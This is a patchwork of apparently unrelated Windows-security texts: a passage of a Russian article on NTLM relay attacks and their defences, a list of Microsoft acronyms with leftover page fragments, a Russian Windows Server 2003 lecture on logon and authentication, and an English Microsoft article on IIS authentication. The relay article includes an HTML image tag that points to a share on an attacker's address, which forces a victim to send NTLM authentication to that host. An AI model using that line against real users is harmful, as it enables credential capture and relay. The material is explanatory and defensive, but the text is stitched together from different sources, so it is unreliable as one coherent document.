Итак: атакующий провоцирует клиента на подключение к себе по протоколу, позволяющему NTLM аутентификацию. После чего атакующий подключается к серверу так же по любому протоколу позволяющему NTLM аутентификацию. Это не обязательно должен быть тот же протокол, который использует клиент, т.к. данные аутентификации никак не привязаны к прикладному протоколу и сетевым параметрам. Например, клиент может подключиться к атакующему с использованием файлового протокола CIFS (SMB), а атакующий к серверу – по протоколу telnet. После чего данные аутентификации (блобы) передаются атакующим между клиентом и сервером. По окончании аутентификации клиент считает, что он успешно авторизован сервером, сервер считает, что он авторизовал клиента, а атакующий имеет два авторизованных канала – он выступает от имени сервера для клиента и от имени клиента для сервера.

Спасает ли, хотя бы в какой-то степени, использование NTLMv2 от атак NTLM-релеинга? К сожалению, нет. Поскольку атакующий не применяет криптоанализ, то криптостойкость алгоритма влияния не оказывает. Не оказывает влияния и наличие взаимной аутентификации клиента и сервера. Атакующий пробрасывает все данные аутентификации между ними, поэтому лишний пакет – ответ сервера на запрос клиента – туда так же попадает.

Для некоторых протоколов Microsoft советуют применять подпись пакетов, например, SMB signing для CIFS/SMB. К сожалению, подпись SMB спасает лишь в единственной ситуации – она затрудняет подключение к серверу CIFS требующему подпись. Это делает невозможным использование межпротокольного релеинга NTLM для подключения к серверу CIFS. В случае релеинга от CIFS клиента к CIFS серверу у атакующего остается доступ ко всем проходящим данным. Клиент и сервер подписывают данные, но опять эта подпись не привязана к сетевому протоколу, атакующий просто пересылает данные в неизменном виде. Это не дает атакующему возможность вмешаться в передаваемые данные (например, запросить свой файл непосредственно у сервера), однако, если атакующий получил возможность управлять поведением клиента – он может заставить клиента запросить требуемый файл.

На текущий момент существует много способов управлять поведением клиентского приложения. Например, направив пользователя на HTML страницу, содержащую так <IMG SRC=”\A.B.C.DSECRETSHARElargesecret.doc”>, где A.B.C.D – адрес атакующего, можно заставить клиента подключиться к сетевой папке SECRETSHARE атакующего по протоколу CIFS и запросить файл largesecret.doc. Атакующий может перенаправить этот запрос на сервер от имени клиента. При этом все запросы будут подписаны клиентам в случае использования SMB signing.

Атаки NTLM релеинга обсуждались разными авторами. DilDog в 2000м году, в связи с проблемой NTLM авторизации в telnet (Internet Explorer к тому времени уже имел опцию не выполнять прозрачную NTLM-авторизацию в Internet-зоне). 3APA3A в 2001 в связи с SPA авторизацией Outlook Express. Salman Niksefat и Haamed Gheibi в 2003м продемонстрировали практическую реализацию NTLM релеинга из CIFS в CIFS для случая, когда клиент и сервер это одна и та же машина.

Как защищаться от атак NTLM

Основное средство от различных атак перехвата – это, разумеется, шифрование трафика между хостами. Можно найти достаточное количество руководств по внедрению шифрования трафика с помощью политик безопасности IP.

Чтобы предотвратить атаки NTLM релеинга с помощью протокола CIFS, следует ограничить использование этого протокола. Во-первых подключения по протоколам NetBIOS (TCP/139) и CIFS over TCP (TCP/445) не должны пропускаться не только из внешней сети во внутрь, но и из внутренней сети наружу. По многим причинам, включая и эту, доступ к ресурсам Internet для пользователей следует организовывать не при помощи трансляции адресов, а с помощью прокси-сервера. Атака NTLM релеинга с помощью CIFS может быть использована и во внутренней сети, с целью повышения привилегий. Чтобы этого недопустить, следует ограничить связь на сетевом уровне между клиентскими компьютерами. В идеальном случае у клиентов должна быть связь только с теми серверами, к которым они должны подключаться. В сетях Windows 2000/XP/2003 такая структура сети легко реализуется за счет применения доменных политик безопасности IP.

Для этого создается правило, позволяющее блокировать пакеты:

Создается описание серверной сети

Создается политика разрешающая серверный трафик и запрещающая весь остальной:

Теперь данное правило можно применить к локальному компьютеру либо ко всем клиентским компьютерам с помощью политик Active Directory.

Устранив возможности NTLM атак в CIFS, мы не устраним атаки полностью. Существует большое количество протоколов поддерживающих NTLM аутентификацию, а развитие различных сервисов, в т.ч. и RPC, поверх HTML делает фильтрацию NTLM-аутентификации наружу еще более затруднительной.

Подсказка: в качестве решения можно посоветовать не позволять доступ к сервисам, доступным снаружи с учетными записями используемыми во внутренней сети. Для внешних ресурсов лучше использовать авторизацию на основе сертификатов, во внутренней сети – двухфакторную авторизацию.

Заключение

Я надеюсь, что статья поможет вам учесть особенности протокола NTLM при построении архитектуры и схемы защиты вашей сети или просто понять, что он из себя представляет. C удовольствием приму любые поправки, дополнения и просто комментарии на адрес 3APA3A@security.nnov.ru.

Время на прочтение
5 мин

Количество просмотров 8.2K

Некоторые технологии, программные интерфейсы, протоколы и спецификации произведённые в недрах Microsoft.

Это не всё, конечно, даже из этой программистской категории. А есть ещё различные аббревиатуры и названия просто для разных частей Windows и т. п., но то не так интересно.

OLE — технология связывания и внедрения объектов в другие документы и объекты.
OLE Automation — механизм межпроцесорного вхаимодействия, основанный на COM; для использования в скриптовых языках.
aka Automation
ActiveX — ребрэндинг OLE
COM (Component Object Model) — обеспечивает межпроцессорное взаимодействие между объектами написанными на разных языках
COM+ — улучшена поддержка потоков, etc
DCOM — позволяет COM-компонентам взаимодействовать друг с другом по сети
VBX (Visual Basic Extension) — стали ненужны благодаря…
OCX (OLE custom controls) — элементы интерфейса на основе OLE

Ещё пятьсот → CDO (Collaboration Data Objects) — доступ к Global Address List и другим объектам на сервере, в дополнение к содержимому письменных ящиков и папок.
aka OLE Messaging
aka Active Messaging

WCF (Windows Communication Foundation) — коммуникация между процессами. Часть .NET.
DDE (Dynamic Data Exchange) — коммуникация между процессами

ASP (Active Server Pages)
ASP.NET
VB
VBA
VBScript
JScript
JScript.NET
J#
C#
.NET
CLR

IWA (Integrated Windows Authentication)
aka NT Authentication
aka NTLM Authentication
aka Domain authentication
aka Windows Integrated Authentication
aka Windows NT Challenge/Response authentication
aka Windows Authentication
NTLM (NT LAN Manager) — протокол сетевой аутентификации
SSPI (Security Support Provider Interface) — API используемый Windows’ами для выполнения разных секурных операций, таких как аутентификация.

Windows Sockets API
LSP (Layered Service Provider, англ. многоуровневый поставщик услуг) — технология Windows sockets версии 2.0, позволяющая пользователю подключать собственные DLL-библиотеки для обработки вызовов Winsock API.
SPI (Service Provider Interface)

AD (Active Directory)
aka NTDS (NT Directory Service)
FSMO (Flexible single master operation) — какая-то фича Active Directory
ADAM (Active Directory Application Mode) — простая имплементация AD
aka AD LDS (Lightweight Directory Services)

Мультимедиа

DirectX — общее название для группы технологий
MDX (Managed DirectX) — API для доступа к DirectX из .NET
Direct3D — 3D-графика, знамо
DirectX Graphics
DirectDraw — производительный рендеринг 2D-графики
DirectPlay — игра по сети
DirectSound — работа со звуком
DirectMusic — надстройка над DirectSound
DirectInput — джойстики, там…
DirectSound3D (DS3D)
DirectShow — API для работы с мультимедиа
aka ActiveMovie
DirectSetup — поддержка инсталяции DirectX
DMO (DirectX Media Objects) — фильтры наподобии тех что в DirectShow
ACM (Audio Compression Manager) — мультимедиа-фреймворк, работает с кодеками
Video for Windows — фреймворк для проигрывания видео; заменён DirectShow’ом
aka VCM (Video Compression Manager),
WinG — ускорение графики в первых Windows
<B>DCI — the same shit?
XNA (XNA is Not an Acronym) — предшественник DirectX

GDI — работаем с графикой
GDI+ — продолжение
WIC (Windows Imaging Component) — API для работы с изоюражениями.
WCS (Windows Color System) — подсистема и API в Vista для работы с цветом
CITE (Color Infrastructure and Translation Engine)

MF (Media Foundation) — замена для DirectShow, Windows Media SDK, DirectX Media Objects (DMOs) и всех других мультимедийных APIs таких как Audio Compression Manager (ACM) и Video for Windows (VfW).

ASF (Advanced Systems Format) — потоковый аудио- и видео-формат
aka Advanced Streaming Format
aka Active Streaming Format

Active Scripting
ActiveX Scripting
WSH (Windows Script Host) — автоматизация жития в Windows

WDM (Windows Driver Model) — API для написания драйверов
VxD (virtual xxx driver) — предшественник
WDF (Windows Driver Foundation) — API для создания драйверов начиная с Windows 2000
KMDF (Kernel-Mode Driver Framework) — API для создания драйверов в режиме ядра
UMDF (User-Mode Driver Framework) — создаём драйверы для Vista+
WDDM (Windows Display Driver Model) — архитектура для драйверов видеокарт начиная с Vista
aka WVDDM

DLL (Dynamic Link Library)
DDI

FAT
NTFS

MSRPC (Microsoft Remote Procedure Call)

Windows DNA (Windows Distributed interNet Applications Architecture) — общее название для набора технологий, таких как ActiveX, Dynamic HTML (DHTML) и COM. Уже не используется.

MFC — ОО-прослойка над WINAPI
aka AFX (Application Framework Extensions)
WTL (Windows Template Library) — альтернатива MFC из недр Microsoft’а же!
ATL (Active Template Library) — упрощает создание COM-объектов; в некотором роде — более легковесная альтернатива MFC.

MSXML (Microsoft XML Core Services) — создаём родные XML-based Windows-приложения с VBScript, etc

WMI (Windows Management Instrumentation)
WIA (Windows Image Acquisition) — API для работы с периферией
WPD (Windows Portable Devices)

WPF (Windows Presentation Foundation)
aka Avalon
XAML (Extensible Application Markup Language) — язык для описания структуры в WPF
WF (Windows Workflow Foundation) — технология для определения, выполнения и управления рабочими процессами.
WinFX —?

MAPI (Messaging API)
RAPI (Remote Application Programming Interface)
SAPI (Speech Application Programming Interface)
TAPI (Telephony Application Programming Interface)

Базы данных

OLE DB — набор интерфейсов, основанных на COM, которые позволяют приложениям обращаться к данным, хранимым в разных источниках информации или хранилищах данных с помощью унифицированного доступа.

ADO (ActiveX Data Objects) — преемник RDO и DAO — интерфейс программирования приложений для доступа к данным, разработанный компанией Microsoft (MS Access, MS SQL Server) и основанный на технологии компонентов ActiveX. ADO позволяет представлять данные из разнообразных источников (реляционных баз данных, текстовых файлов и т. д.) в объектно-ориентированном виде.
ADO.NET — evolutionary improvement over traditional ADO for creating distributed, data-sharing applications.
RDO (Remote Data Objects) — технология доступа к базам данных
DAO (Data Access Objects) — технология доступа к данным
aka VT Objects
SQLXML — allowed Microsoft’s relational database to be viewed by XPath and allowed data to viewable as an XML file.
MDAC (Microsoft Data Access Components) — совокупность технологий компании Microsoft организованных в систему, которая позволяет программистам получить унифицированный и достаточно полный способ разработки приложений для доступа фактически к любым видам данных.

MDAC related:

ADOMD (ADO Multi-Dimensional) is to be used with multidimensional data providers such as Microsoft OLAP Provider, also known as Microsoft Analysis Services Provider.
ADOX (ADO Extensions for DDL and Security) enable the creation and modification of definitions of a database, table, index, or stored procedure.
SQLOLEDB (Microsoft OLE DB Provider for SQL Server) supports access to Microsoft SQL Server.
SQLODBC (Microsoft SQL Server ODBC Driver) enables access to Microsoft SQL Server.
MSDASQL (The Microsoft OLE DB Provider for ODBC) is a technology that allows applications that are built on OLEDB and ADO (which uses OLEDB internally) to access data sources through an ODBC driver.
MSDADS (Microsoft OLE DB Provider for Data Shaping) — you can create hierarchical relationships between keys, fields, or rowsets in an application.
JRO (Jet Replication Objects) — used within ADO with Jet (*.mdb) databases to create and compress Jet Databases (.mdb’s) and perform Jet Replication Management.

RDS (Remote Data Services) — technology used in conjunction with ActiveX Data Objects (ADO) that allowed the retrieval of a set of data from a database server, which the client then altered in some way and then sent back to the server for further processing.
aka ADC (Advanced Data Connector)

ESE (Extensible Storage Engine) — реализация ISAM (Индексно-Последовательный Метода Доступа, способ хранения данных для быстрого доступа к ним, by IBM)
aka JET Blue
JET Red
JET (Joint Engine Technology)
aka Microsoft JET Engine
Microsoft Jet Database Engine — database engine on which several Microsoft products were built.

MSDE (Microsoft SQL Server Desktop Engine) — система управления реляционными БД. Урезанная версия Microsoft SQL Server 7.0.
aka Microsoft Data Engine
aka Microsoft Desktop Engine

Конфигурирование локальных учетных записей

Дважды щелкните на записи нужного пользователя, чтобы открыть диалоговое окно Properties, где вы можете сконфигурировать настройки этого пользователя. Как можно видеть из рис. 12.7, по сравнению с опциями доменных пользовательских учетных записей опции для локального пользователя содержат намного меньше вкладок.

Задание опций пользователя в диалоговом окне Properties

Рис.
12.7.
Задание опций пользователя в диалоговом окне Properties

Чтобы сделать локального пользователя членом группы, щелкните на вкладке Member Of (Член групп) диалогового окна Properties этого пользователя. По умолчанию все локальные пользователи являются членами группы Users. Щелкните на кнопке Add, если вы хотите включить этого пользователя в дополнительные группы. Введите имя группы, если вы знаете его, или щелкните на кнопке Advanced и щелкните на кнопке Find Now (Найти), чтобы выполнить поиск в списке групп (см. рис. 12.8).

Членство в группах ограничивается локальными группами

Рис.
12.8.
Членство в группах ограничивается локальными группами

Напомним, что при работе с локальными пользователями ваши настройки ограничены локальным компьютером; например, если вы хотите сделать локального пользователя членом группы, то в списке групп будут присутствовать только локальные группы.

Локальный пользователь имеет профиль, и вы можете конфигурировать этот профиль во вкладке Profile диалогового окна Properties для этого пользователя. Как и в случае доменных пользователей, профиль содержит домашнюю папку и скрипт входа. (Профили для доменных пользователей рассматриваются ниже в разделе «Профили пользователей»; см. также раздел этой лекции «Домашние папки».)

Каждый пользователь, который выполняет вход на компьютер Windows Server 2003, имеет папку My Documents (Мои документы), и она также действует обычно как домашняя папка, если этот пользователь работает локально. Но вы можете использовать опции вкладки Profile, чтобы задать другую локальную домашнюю папку.

Внимание. Вкладка Profile содержит опцию для отображения буквы накопителя на сетевой разделяемый ресурс, но она не действует, когда пользователь выполняет вход на локальный компьютер, поскольку это опция только для доменного профиля пользователя.

Вы можете также назначать скрипт входа, но это нетипично для локального входа, поскольку вы можете создать пакетный (batch) файл и загрузить его в папку Startup (Автозагрузка) меню All Programs.

Обзор процесса входа

Windows Server 2003 запрашивает во время входа Username (Пользовательское имя) и Password (Пароль), и пользователь выбирает между локальным компьютером и доменом в раскрывающемся списке Log On To (Вход в).

Локальный вход

Если пользователь указывает имя локального компьютера в раскрывающемся списке Log On To, то Windows Server 2003 проверяет наличие допустимой соответствующей учетной записи в локальной базе данных безопасности. Вход выполняется успешно, если указанная учетная запись найдена и введенный пользователем пароль соответствует паролю этой учетной записи.

Вход в домен

Если пользователь выбирает в раскрывающемся списке какой-либо домен, то Windows Server 2003 использует Active Directory для обработки запроса входа. Служба Net Logon отправляет запрос DNS-имени серверам DNS для поиска ближайшего контроллера домена (DC). Конкретный запрос DNS содержит следующие характеристики:

  • тип запроса: SRV (служебная ресурсная запись);
  • имя запроса: ldap._tcp.имядомена.

Примечание. В данном случае предполагается, что вход инициируется на компьютере, работающем под управлением Windows Server 2003, Windows XP/2000 или более ранней версии Windows с установленным клиентом Active Directory. Если вход инициируется на компьютере, работающем под управлением более ранней версии Windows без установленного клиента Active Directory, то DC не может выполнить проверку в Active Directory и процесс аутентификации проходит по-другому.

Например, если пользователь пытается выполнить вход в домен ivenseast.com, то Windows Server 2003 отправляет запрос DNS-имени типа SRV, чтобы найти имя ldap.tcp .ivenseast.com. Сервер DNS отправляет в ответ DNS-имена ближайших контроллеров домена ivenseast.com вместе с их IP-адресами.

Используя эти IP-адреса, Windows Server 2003 пытается установить контакт с каждым из DC, которые считаются достаточно близкими, чтобы определить, функционирует ли этот DC. Первый ответивший DC используется для процесса входа. Служба Net Logon кэширует затем информацию этого DC, чтобы не повторять тот же процесс поиска при будущих запросах с этого компьютера.

DC ищет в Active Directory информацию о пользовательской учетной записи, с помощью которой пользователь хочет выполнить вход. Если эта учетная запись и пароль указаны верно и настройки безопасности позволяют выполнять вход с данного компьютера с помощью этой учетной записи, то DC санкционирует вход.

Вход в доверяемые домены

При наличии доверительного отношения доверяющий домен доверяет пользователям и группам из доверяемого домена. Это позволяет пользователям выполнять вход в доверяющем домене. Если пользователь выполняет вход в доверяющий домен, то он указывает домен, где находится его пользовательская учетная запись. Windows Server 2003 санкционирует вход, если учетная запись и доверительные отношения между доменами позволяют это сделать.

Удаленный вход

Служба дистанционного доступа RAS (Remote Access Service) позволяет пользователю выполнять вход в домен с помощью дистанционного соединения по учетной записи коммутируемого (dial-up) доступа или с помощью выделенного соединения глобальной сети (WAN). Удаленный вход осуществляется почти так же, как и локальный вход или вход в локальном домене. Запрос входа передается через сервер RAS контроллеру указанного в учетной записи домена, который аутентифицирует запрос и передает серверу RAS информацию, разрешающую или запрещающую вход. Подробнее о службе RAS см. в
«Служба RRAS (Routing and Remote Access Service)»
.

Аутентификация

Аутентификация является основой безопасности систем, подтверждая опознавательные данные пользователей, которые хотят выполнить вход в домен и получить доступ к сетевым ресурсам. Windows Server 2003 позволяет выполнять один вход для доступа ко всем сетевым ресурсам, и это означает, что пользователь может выполнить вход в домен и затем аутентифицироваться на любом компьютере в этом домене.

Windows Server 2003 поддерживает ряд протоколов аутентификации, включая протоколы, предназначенные для входа на защищенные веб-сайты или через коммутируемые (dial-up) соединения. В этом разделе описываются стандартные процессы сетевой интерактивной аутентификации пользователей: Kerberos V5 и NTLM.

Kerberos

Как уже говорилось в
«Безопасность Windows Server 2003»
, в Windows Server 2003 используется по умолчанию протокол аутентификации Kerberos V5. Для входов пользователей Kerberos работает с паролями и смарт-картами, и это основной протокол безопасности для аутентификации в домене. Kerberos используется также для проверки сетевых служб, и эта способность выполнения двойной верификации называется взаимной аутентификацией.

Kerberos выдает так называемые билеты для доступа к сетевым службам, и эти билеты содержат шифрованные данные (включая шифрованный пароль), которые аутентифицируют опознавательные данные пользователя для любой сетевой службы. После того, как пользователь ввел пароль или использовал смарт-карту, остальная часть процесса аутентификации скрыта от пользователя. В
«Безопасность Windows Server 2003»
приводятся сведения по конфигурированию, управлению и устранению проблем аутентификации Kerberos.

NTLM

NTLM — это протокол аутентификации для таких транзакций, в которых хотя бы один компьютер работает под управлением Windows NT 4. Windows Server 2003, как и Windows 2000, поддерживает аутентификацию NTLM. Это не только означает, что компьютеры Windows NT 4 могут аутентифицироваться при доступе к компьютеру Windows Server 2003. Система Windows Server 2003 поддерживает аутентификацию NTLM в обоих направлениях, и поэтому будет использовать NTLM при доступе к какому-либо ресурсу на компьютере, работающем под управлением Windows NT 4. Ниже приводятся некоторые сценарии в вашей сети, требующие поддержки NTLM.

  • Компьютер Windows Server 2003/Windows 2000/Windows XP аутентифицируется на контроллере домена Windows NT 4.
  • Клиент Workstation Windows NT 4 аутентифицируется на контроллере домена Windows Server 2003/Windows 2000.
  • Пользователи домена Windows NT 4 аутентифицируются в домене Windows Server 2003/Windows 2000.
  • Клиент Workstation Windows NT 4 аутентифицируется на контроллере домена Windows NT 4.

Протокол NTLM появился в Windows NT, и его называли аутентификацией Windows NT «challenge/response» (вызов-ответ). В дополнение к аутентификации пользователей и паролей NTLM поддерживает шифрование и электронную подпись. Windows NT поддерживает также аутентификацию LAN Manager (LM) для клиентов предыдущих версий Windows (Windows 9x).

Для защиты от частых атак хакеров, пытающихся получить доступ к паролям, Microsoft повысила уровень безопасности NTLM, выпустив NTLM версии 2 (обычно ее называют NTLM 2) в Service Pack 4 для Windows NT 4.

Windows Server 2003 автоматически поддерживает NTLM 2 для компьютеров Windows NT, находящихся в сети. Если у вас еще есть клиенты Windows 9x, установите клиентское ПО Active Directory на этих компьютерах, чтобы они могли аутентифицироваться с помощью NTLM 2.

Клиент Active Directory Dsclient.msi (directory service client — клиент службы каталога) не включен в CD Windows Server 2003. Вы можете загрузить его с веб-сайта Microsoft. Если вы переходите к Windows Server 2003 из Windows 2000, то Dsclient.msi находится на CD Windows 2000 Server в папке ClientsWin9x.

Authentication and Security

For Internet Developers

Scott Stabbert

Internet Developer Support

Microsoft

Introduction

If you are a Web developer working with Microsoft’s Internet Information Server (IIS), it is very important to understand how IIS uses authentication and impersonation to control security on your Web server. While working in the Internet Developer Support team at Microsoft, I found that about 1 in 4 of the issues we dealt with were caused by the umbrella topic we call permissions. Further, most of those issues could have been avoided if the developer simply had a better conceptual understanding of what was happening under the hood. Authentication is simply the process of determining the identity of a user. Once a user has been positively identified, Windows NT can then control what resources that user can access. While not extremely technical, authentication and security can be confusing. Having a solid understanding of how IIS controls security will allow you to be much more successful creating solid sites, and to avoid common time consuming problems.

This article explains Windows NT security as it relates to IIS so that you can effectively troubleshoot nasty security-related problems. We will cover the three forms of authentication, how they differ, several ways of controlling access to key areas on your Web server, and the important but almost universally misunderstood concept of «delegation.» Understanding delegation is mandatory for anyone building a data driven Web site using IIS. Understanding how Windows NT handles different «users» will potentially save you days or weeks of troubleshooting.

ACLs, NTLM, and other definitions

To start with, let’s define some common terms that relate to Windows NT’s security.

 ACLs Access Control Lists. Each ACL is a list of Access Control Entries (ACEs) that specify access and auditing information used by Windows NT on an NTFS-formatted hard drive. Windows NT uses the lists to determine which users have been granted access to specific resources (files and folders), and which rights a user may exercise such as read, write, and execute. The ACLs for a file or folder can be viewed by right-clicking the resource, clicking properties, and clicking the Permissions button on the Securities tab.

 Challenge/Response A Windows NT authentication process. Challenge/response can occur when a user or service (such as IIS) tries to access any resource stored on an NT machine across a network (such as viewing a shared resource on a server). Can be used by IIS to authenticate a user browsing a Web site.

 NTLM Windows NT’s implementation of the challenge/response authentication scheme. NTLM stands for NT LAN Manager because it was developed and originally used in Microsoft LAN Manager, one of Microsoft’s earliest networking products.

 SAM The SAM (Security Account Manager) is a database of user and group account information. The SAM does not contain passwords, but instead stores password hashes (described later). The SAM is stored in the HKEY_LOCAL_MACHINESAM and HKEY_LOCAL_MACHINESecuritySAM registry subtrees. Not surprisingly, the SAM is often the prime target of hackers.

Impersonation

Under different situations IIS pretends to be different users. Remember that all processes operating on a Windows NT machine run under a valid NT account. When a program or process (like IIS) runs on behalf of a user, it is said to be running under the security context of that user. The purpose is to give that process no more access to files and resources than the user would have. When IIS does this, it is said to be impersonating that user.

IIS, obviously, is designed to handle Web requests as an automated service. To do this, IIS still needs to run under some valid user’s security context. There are two kinds of requests that IIS may be required to respond to. First are anonymous requests where we know almost nothing about the user, and second are authenticated requests where we know exactly who is requesting the resource. It’s not always obvious which method is being used since both anonymous and authenticated requests can happen with no dialog boxes or other indications to the user. It is, however, mandatory that we as developers always know which method is being used. What account IIS impersonates, and by extension, what IIS can and can not do depends completely on knowing.

Anonymous Requests — No information is required from the user. By default, when a browser requests a Web page, IIS will first try to fill the request without authenticating the user. To do this, IIS impersonates a special Windows NT account, IUSR_machinename (where machinename is the name of the IIS host computer). This account is created during the install process for IIS. If IIS, impersonating the IUSR_machinename account, can access the requested resource, then the page is served to the anonymous user.

A common problem with anonymous access occurs when the password for the IUSR_machinename account and the password entered in the Internet Service Manager get out of sync. When IIS tries to impersonate the IUSR_machinename account, it submits the password that was entered in the anonymous logon field to Windows NT . If that password is incorrect, IIS is totally prevented from using the account. Since anonymous access failed, IIS attempts to authenticate everyone. The scary part of this is that the authentication can happen silently, so the site begins to fail but the reason isn’t apparent at all. I’ve talked to many Web site administrators who were experiencing bizarre security related problems because their site authenticating all users, and they didn’t even know it. This makes a huge difference if your pages are accessing other resources like databases or server side components (DLLs).

Authenticated Requests — Positive identification of the user is required. When IIS cannot fill the request using the IUSR_machinename account, IIS attempts to authenticate and then impersonate the user so that it can determine if that user should have access to the requested resource. There are two methods that IIS can use to authenticate users; Windows NT challenge/response and Basic. These are discussed later in this article. Authenticated Web access usually works best within a company’s Intranet or some well-defined, contained group. Even so, there are some limitations to consider.

Controlling the Authentication Method, and Why We Care

The IIS Service Manager tool is the primary place where we can configure IIS for WWW, FTP, and Gopher services. Without going into great detail about the options in the WWW properties dialog box, we do need to be aware of several key items. By default, the Password Authentication group will have Allow Anonymous and Windows NT Challenge/Response selected. The third access method is Basic, which we will cover later. So lets look at several ways of controlling access to your Web server.

Allow Anonymous Check Box

If Allow Anonymous is selected, IIS will always attempt to access the resource being requested by impersonating the Anonymous Logon account (by default, IUSR_machinename). When the IUSR_machinename account was automatically created, it was assigned a random password and given guest privileges by being added to the guests group. Adding or removing the Allow Anonymous check is the best way to globally turn on or off anonymous access for the entire Web server. With Allow Anonymous de-selected, only users with valid Windows NT accounts that can be verified using either of the two authentication methods will be serviced. Setting up IIS this way is usually only appropriate for a corporate or members-only setting where it is important to validate all users accessing your site.

Change Permissions on Files and Folders

The NTFS level permissions are respected by IIS, so manipulating individual permissions on files and folders allows better granularity as you control what pages can be accessed by whom. A common scenario would be to have customer pages on a retail site set with the default «Everyone Full Control» permissions, while other pages that allow the prices to be changed could be restricted to administrators. The IUSR_machinename account is of course part of the Everyone group, so you could restrict access several ways. Either remove the Everyone group and possibly add a «Web authors» group for those that need editing rights, or if you have a diverse number of Web authors and you aren’t interested in setting up and maintaining a «Web Authors» group, you could simply exclude the IUSR_machinename account. This method is obviously best for a site that needs some anonymous while still securing other pages.

ASP Code-Based Security

Code-based security is the most fun. Using Active Server Pages (ASP) code, we can implement unique and varied security. For example, say an annoying person is harassing your site. Since the IP address can be pulled from the logs, we could use the following code to deny access:

<%If request.servervariables(“REMOTE_ADDR”) = “200.200.157.4” then

Response.Buffer = TRUE

Response.Status = («401 Unauthorized»)

Response.End

End If%>

There are many server variables that can be used under ASP, including the LOGON_USER that will return the domainusername of authenticated users, and a blank for anonymous users. In this case it would be possible to use server side code to check for key individuals and possibly redirect them to different pages depending on their job requirements. I’ve even seen companies used this technique to lock competitors out of their Web sites.

Windows NT Challenge/Response is simply NT’s very secure way of determining who is making a request (that is, authenticating them). The flow of how Windows NT Challenge / Response works is mandatory knowledge for anyone working on IIS. What we are really getting around to is an understanding of the Windows NT limitation called delegation, but this can only be explained when challenge/response is clear.

And Now for Something Completely Different: The «Hash»

Windows NT challenge/response does not send a password across the network because it could be intercepted and deciphered. NT uses a non-reversible algorithm that is like a meat grinder. You put something in, and out comes the hash. Windows NT uses the Internet standard MD4 hashing algorithm to produce a 16-byte (128-bit) hash. It is impossible (theoretically) to take both the hash and the algorithm and mathematically reverse the process to determine the password. In other words, the password serves as a «private key». Only someone who has the key can generate a particular hash. An NT domain controller has a database of user hashes generated from user passwords, but doesn’t store the passwords themselves. (Note that this separation of hash and passwords does NOT make the domain controller less of a target for hackers, because sometimes a hash can be used as a password-equivalent; more about this later.)

IIS and the Challenge/Response Authentication Process

IIS will try to use Windows NT challenge/response authentication if the following are true:


  • If the “Allow Anonymous” box in the WWW properties of the Internet Service Manager is cleared or the IUSR account doesn’t have sufficient permissions to access the requested resource or code is used to deny access.

  • Windows NT Challenge/Response is selected in the Internet Service Manager under WWW properties

  • The browser making the request understands challenge/response. Currently Internet Explorer is the only browser that supports NT challenge/response.

When we say that IIS tries to authenticate the user, what it actually does is rather simple. It sends an HTTP 401 Access Denied message back to the browser, with the list of authentication methods it accepts. Another way of looking at this is IIS saying, “You can’t get what you want without identifying yourself. By the way, I accept the following methods of identification.” The two methods of identification are NT Challenge/Response and Basic. Which method is acceptable depends on which WWW properties are checked in the IIS Internet Service Manager dialog box. If both authentication methods are turned on, Internet Explorer will always attempt to use challenge/response, while other browsers will use Basic.

The following table presents a packet’s-eye view of how NT challenge/response authenticates a user without ever seeing their password.

Client Server


1. Client makes an anonymous HTTP GET request to the Web server.


2. Server replies with an HTTP 401 Access Denied and includes NTLM and/or BASIC as acceptable methods of authentication.

3. Client requests the page again.


4. Server again replies with an HTTP 401 Access Denied, and includes a random value for the client. This is the CHALLENGE.

5. Client encrypts the challenge using their password hash as the private key, generating a new unique hash for this transaction. The network connection between client and server is marked as «Keep Alive». The new hash is sent to the server over the same connection. Only someone that has the user’s password hash and the random value could generate this new hash. The hash and the user’s name and domain are then base64 encoded and resent.

Page appears in browser

6. The server sends the hash, user name, and the challenge value to the appropriate domain controller based on the domain name sent from the client. The Domain controller encrypts the challenge value by using the user’s password hash kept in the SAM. The resulting hash is compared against what the server sent. If they match, the domain controller authenticates the user, and the server then returns an HTTP 200 OK to the client with the requested resource

Why a Random «Challenge»?

The extra step of encrypting a challenge using a password hash, instead of just passing the simple hash up to the domain, makes it harder for the hash to be intercepted and used as a password. Since the challenge requires the user’s password hash to generate the new hash, it proves the person has at least the user’s hash, but probably the user’s password as well. All this without having the password sent over the wire. In essence, the password becomes a private key and the random value a constantly changing public key.

Delegation!

Delegation is where most people lose the picture on both NT security and IIS authentication, even though delegation is a huge issue for anyone considering a secure Web server environment, or, for that matter, just wanting things to work! When the IIS Web server impersonates a user authenticated using NT challenge/response, IIS does NOT have the user’s password or password hash. IIS only sees the encrypted challenge, which it passes to the domain controller. You are most likely to see this when you have an ASP page that accesses resources on another Windows NT box (such as a database). The second Windows NT box will challenge IIS forcing it to prove that it is truly the impersonated user and IIS will not be able to since it can not encrypt any challenges sent to it with the user’s hash. The second machine will deny access, and your database enabled Web pages fail. This is a limitation in the Windows NT 4.0 (and prior) security model, and not IIS. Using Windows NT challenge/response, there is no way a process impersonating you can access so much as a text file on another Windows NT box.

If you ever want to determine when delegation is an issue, ask yourself if the Web server has the user’s password or hash. In politics you «follow the money». In delegation you «follow the password»!

An analogy for this could be an executive that delegates responsibility to a secretary to sign checks and otherwise act on their behalf. When using NT challenge/response, the user cannot delegate IIS to act fully on their behalf. This particular limitation may well go away with the release of Windows NT 5.0 when NT incorporates the Kerberos authentication system (developed for MIT’s Project Athena).

Basic Authentication

Most people are afraid to use the Basic authentication option because of the screen they are confronted with when activating it:

The authentication option you have selected results in passwords being transmitted over the network without data encryption. Someone attempting to compromise your system security could use a protocol analyzer to examine user passwords during the authentication process. For more detail on user authentication, consult the online help.

Are you sure you want to continue?

The message is as bad as it sounds. The user name and password are Base64 encoded. Base 64 is easily de-coded by even novice hackers, though they would still have to access your network and use a TCP/IP packet sniffer to intercept network packets, so this is not a likely event unless you are an overly attractive target such as a bank.

Most Web administrators I’ve talked to know that there are differences between NT challenge/response and Basic, but still treat them as interchangeable. Basic authentication always prompts the user with a dialog box and asks them to type in a user name and password. This information is then sent to IIS, which uses the name and password to execute a log on locally command to the IIS box. Since IIS now has the password of that user, it can answer challenges from remote machines, eliminating the delegation problem. Think of a user authenticated using Basic as actually sitting at the Web server working, where a user authenticated using NT challenge/response as accessing the Web server from a network. In fact, the user rights “access this computer from the network” and “log on locally” are specific user rights that need to be set for users depending on which authentication method is used. To set these rights, use the «User Manager for Domains» tool and select the «user rights» item from the «policies» menu.

Even with its flaws, there are two circumstances where Basic authentication should be used.


